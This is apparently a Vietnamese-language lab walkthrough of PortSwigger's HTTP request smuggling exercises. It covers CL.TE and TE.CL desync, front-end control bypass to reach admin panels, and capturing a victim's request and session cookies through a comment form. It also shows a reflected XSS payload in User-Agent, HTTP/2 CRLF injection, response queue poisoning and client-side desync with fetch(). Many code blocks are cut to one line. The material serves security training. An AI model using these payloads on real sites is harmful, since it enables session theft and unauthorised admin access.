Portswigger: HTTP Request smuggling:
HTTP request smuggling, basic CL.TE vulnerability
Yêu cầu: Làm cho server trả về lỗi “Unrecognized method GPOST”.
Gửi yêu cầu đầu tiên đến server:
1 | POST / HTTP/1.1 |
Sau đó gửi một yêu cầu bình thường và lỗi sẽ triggered.
1 | POST / HTTP/1.1 |
HTTP request smuggling, basic TE.CL vulnerability
Cũng là kích hoạt lỗi “Unrecognized method GPOST”. Back-end không hỗ trợ chunked encoding nên sẽ là dạng TE.CL
Uncheck update Content-Length:
Gửi yêu cầu sau đến server sau đó gửi một request tùy ý.
1 | POST / HTTP/1.1 |
Giải thích:
- Một yêu cầu POST sẽ hợp lệ nếu có trường
Content-Type
hoặcContent-Length
hoặcTransfer-Encoding
, ở đây mình thêm trườngContent-Type: application/x-www-form-urlencoded
để tránh đôi khi có lỗi nó không xét 2 cái kia, không thêm cũng được không quan trọng. - Ở đây như đề bài nói máy chủ back-end không hỗ trợ
Transfer-Encoding: chunked
nên chúng ta có thể để máy chủ front-end phân tíchTransfer-Encoding: chunked
và để cho máy chủ back-end phân tíchContent-Length
. - 5d hex = 93 decimal = dòng 1 + \r\n + d2 + \r\n +d3 +\r\n + d4 + \r\n + aaaa
- Kết thúc chuỗi là số 0 và xuống dòng để máy chủ front-end phân tích
Transfer-Encoding: chunked
hợp lệ. - Sau khi máy chủ front-end phân tích, nó thõa mãn và gửi đến back-end. Máy chủ back-end chỉ phân tích trường
Content-Length
và ở đây chỉ bằng 4 và bằng 5d + \r + \n nên phần còn lại sẽ là một yêu cầu mới.1
2
3
4
5
6GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
aaaa
0 - Bây giờ nếu chúng ta gửi tiếp một yêu cầu nữa cùng chung một connection TCP nó sẽ trigger lỗi
Unrecognized method GPOST
. Và để được như vậy thì chúng ta cần set thêm trườngConnection: Keep-Alive
hoặcConnection: Pipelining
tuy nhiên với HTTP/1.1 thìConnection: Keep-Alive
luôn được bật trừ khi máy chủ set là close nên chúng ta cũng không cần thiết thêm vào (thêm cho chắc :P).
HTTP request smuggling, obfuscating the TE header
Ở đây ta sẽ gửi một cái TE hợp lệ và một cái TE không hợp lệ để obfuscate server. Gửi 2 lần yêu cầu sau để trigger lỗi.
1 | POST / HTTP/1.1 |
HTTP request smuggling, confirming a CL.TE vulnerability via differential responses
Bài này front-end chỉ xử lý Content-Length
–> CL.TE (chưa chắc nma theo đề thì z).
Yêu cầu là đính chính lại nó dính lỗi CL.TE bằng cách để yêu cầu thứ 2 là một yêu cầu trả về lỗi 404 not found
.
Ở phần thứ 2 của request, ta có 2 cách để tạo một request hợp lệ:
- Gửi một POST request, khi đó nếu có request khác gửi đến thì nó sẽ gắn vào phần body –> không bị lỗi 400
1
2
3
4
5
6
7
8
9
10
11
12
13POST / HTTP/1.1
Host: 0a72005104370d94c026137d00880058.web-security-academy.net
Connection: close
Transfer-Encoding: chunked
Content-Length: 96
0
POST /aaa HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15 - Cách 2 là sử dụng
X-Ignore: abc
, khi này phần sau request sẽ được gắn vào trường X-Ignore header và không gây ra lỗi 400.1
2
3
4
5
6
7
8
9
10POST / HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 35
Transfer-Encoding: chunked
0
GET /404 HTTP/1.1
X-Ignore: X
Gửi request với payload trên, sau đó gửi một request bất kỳ để solve lab.
HTTP request smuggling, confirming a TE.CL vulnerability via differential responses
- Back-end server doesn’t support chunked encoding
- Triggering 404 Not Found response
Gửi 2 lần request sau:
1 | POST / HTTP/1.1 |
Exploiting HTTP request smuggling to bypass front-end security controls, CL.TE vulnerability
Gửi 2 lần request sau:
1 | POST / HTTP/1.1 |
Kết quả trả về là Admin interface only available to local users
, vậy là chúng ta cần truy cập đến admin page với host là localhost. Vì hiện tại server sẽ mặc định set cho ta host là 0a33008a039b2e88c01e9186008400ec.web-security-academy.net
1 | POST / HTTP/1.1 |
Payload cuối cùng:
1 | POST / HTTP/1.1 |
Exploiting HTTP request smuggling to bypass front-end security controls, TE.CL vulnerability
back-end server doesn’t support chunked encoding nên chúng ta có thể nghĩ đến TE.CL
Gửi 2 lần request sau:
1 | POST / HTTP/1.1 |
Phản hồi thứ 2 trả về Admin interface only available to local users
, để bypass ta có thể thử thêm trường Host: localhost
Gửi 2 lần request sau để solve lab này.
1 | POST / HTTP/1.1 |
Exploiting HTTP request smuggling to reveal front-end request rewriting
Front-end server doesn’t support chunked encoding –> ý tưởng là CL.TE
- Bài này tác giả bảo là có trường set IP cho client tương tự như
X-Forwarded-For
nên mình đã nghĩ đếnX-Real-IP
tuy nhiên gửi mãi không thấy kết quả gì. Hóa ra ý tác giả muốn bảo ở đây là thằngX-*-IP
phần trong dấu * có thể tùy ý nên chúng ta cần tìm phần này. Để tìm được điều này chúng ta cần lợi dụng trường search.
Gửi 2 lần yêu cầu sau:
1 | POST / HTTP/1.1 |
Phần yêu cầu sau sẽ được gắn vào sau thằng test và mình có thể thấy được nhờ trường search. Kết quả trả về như sau:
1 | 0 search results for 'test GET / HTTP/1.1 X-wvIzjI-Ip: 113.161.69.230 Host: 0abe003e032e7439c04debfe00e5002f.w' |
X-*-Ip mỗi người mỗi khác nên các bạn phải tự tìm lấy nhé.
Sau khi biết được cái này rồi thì rất đơn giản, chúng ta chỉ cần set IP là 127.0.0.1 để truy cập vào admin panel.
1 | POST / HTTP/1.1 |
Exploiting HTTP request smuggling to capture other user’s requests
- Lab này là dạng CL.TE
- Tác giả có lập trình sẵn là khi chúng ta gửi một request thì máy chủ sẽ tự động gửi 1 resquest. Request này sẽ đóng vai trò như nạn nhân để chúng ta lấy cắp cookie và đăng nhập vào tài khoản này.
- Ở đây để lấy cắp cookie chúng ta sẽ ghi request của nạn nhân vào form comment.
Request như sau:
1 | POST / HTTP/1.1 |
Kết quả ở comment của trang https://0ad0007403ec1053c2015e9900e300b9.web-security-academy.net/post?postId=8
:
1 | aaaa GET / HTTP/1.1 Host: 0ad0007403ec1053c2015e9900e300b9.web-security-academy.net Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.121 Safari/537.36 Accept: text/html,application/xhtml xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US Cookie: victim-fingerprint=QVLNvEkz9U7FdHW1wG2VdkdjIlDHF2kw; secret=C8IQNP3JH0lVCJBAOGIAkgEOTM5UoNVp; session=A78w3rNuBBu22CGzS1IoyuLB821Yeeof |
Có được cookie rồi chúng ta sẽ sử dụng nó để đăng nhập:
1 | POST /login HTTP/1.1 |
Exploiting HTTP request smuggling to deliver reflected XSS
Đầu tiên zô trang /post?postId=7 để tìm cách trigger xss thông qua trường User-Agent.
Payload xss: User-Agent: aaa"><script>alert(1)</script>
Sau đó gửi request này để nạn nhân truy cập vào trang web sẽ bị trigger xss:
1 | POST / HTTP/1.1 |
CL.0 request smuggling
1 | POST /resources/images/blog.svg HTTP/1.1 |
H2.CL
Test H2.CL, ta trigger được HRS với payload sau (Nhớ uncheck update content length):
1 | POST / HTTP/2 |
Khi request tới resource, ta thấy nó được chuyển hướng đến location như sau:
Thử sử dụng Host header để thay đổi location:
Trong mã html, ta thấy nó có những thẻ script nhập mã js từ bên ngoài, vậy nếu ta giả mạo yêu cầu đúng lúc browser nhập mã js về thì ta có thể để browser nhập mã js chứa payload xss.
Gửi một vài lần để bot truy cập và thời điểm browser của bot import mã js thì nó nhập mã js của ta.
HTTP/2 request smuggling via CRLF injection
Thêm header foo: bar rồi chèn thêm CRLF và TE, trong body thêm giá trị tùy ý ta trigger được 404 not found
Ở trong trang search, ta thấy nó lưu lại lịch sử search của người dùng.
Lợi dụng tính năng này để đánh cắp cookie của người dùng:
Gửi và đợi tầm 10s để bot truy cập:
HTTP/2 request splitting via CRLF injection
Gửi request này 2 lần, ta trigger được 404 not found:
Chỉ với CRLF, ta có thể cắt request thành nhiều request khác nhau. Vậy bây giờ ta chỉ cần áp dụng kĩ thuật Response queue poisoning:
- Ta sẽ queue request smuggle (request 2), sau khi người dùng request 3, server sẽ thực hiện và trả về response của request 2 cho phía nạn nhân và queue lại request 3.
- Bây giờ ta chỉ cần gửi request 4 thì ta sẽ nhận được response từ request 3 của người dùng.
Sau một hồi không queue được, mình thử fix lại payload để server tự thêm \r\n
thì mình đã bắt được request của admin:
Truy cập admin panel và delete user carlos:
Response queue poisoning via H2.TE request smuggling
Front-end server doesn’t support chunked encoding. The front-end server is configured to cache certain responses.
Vậy ta sẽ sử dụng kĩ thuật CL-TE ở đây, kết hợp với cache poisoning.
Trigger được 404 not found với payload sau:
Bypass double Host header:
Bây giờ ta cần tìm một sink để có thể chuyển hướng về trang chứa script xss, ở tính năng next post ta có thể redirect:
Ở phía server, yêu cầu sẽ không bị phụ thuộc vào trường host, nên dù có hay không thì nó vẫn request đến đúng địa chỉ server.
Exploiting HTTP request smuggling to perform web cache deception
=> CL.TE
Trang web có thực hiện caching các file thường đa số người dùng đều nhập giống nhau như blog.svg hay tracking.js:
Vậy bây giờ ta smuggle các request nhập blog.svg hay tracking.js thì ta có thể truy xuất api key từ kết quả trả về được smuggle và lưu vào cache tương ứng với các file này.
Như ở đây, mình thực hiện smuggling request đến my account. Bây giờ request trả về ở những file khi bot request là response 302, nên gửi kiểu gì nó cũng trả về:
Vậy bây giờ chỉ cần cầu may cho bot request đúng lúc, ta có thể double cơ hội thành công bằng cách check cache của 2 file blog.svg và tracking.js
Kết quả:
Bypassing access controls via HTTP/2 request tunnelling
Connection timeout có nghĩa ta đã giả được host.
Request được downgrade trông như sau:
1 | POST / HTTP/1.1 |
Client-side desync
Request đến / sẽ được redirect đến /en:
Gửi 2 request với chung connection ta được trả về 2 response:
Nếu ta thực hiện gửi trong browser với request 2 là một request bất kỳ thì response 2 do request /404 sẽ trả về ở request 2.
Test trên browser:
1 | fetch('https://0acd00850382348282f40b8800320096.h1-web-security-academy.net', { |
Browser chỉ trả về mỗi response cho mỗi request, do đó ta chưa thấy 404 ở đây.
Tuy nhiên nếu ta gửi tiếp một yêu cầu nữa thì 404 trả về cho fetch thứ 2:
Test với request comment:
1 | fetch('https://0ad0005104751f1180db490d002d0023.h1-web-security-academy.net', { |
Bắt được thành công request thứ 3.
Response queue poisoning via H2.TE request smuggling
Server queue response nên ta có thể capture được response mà admin login trả về, từ đó lấy cookie của admin.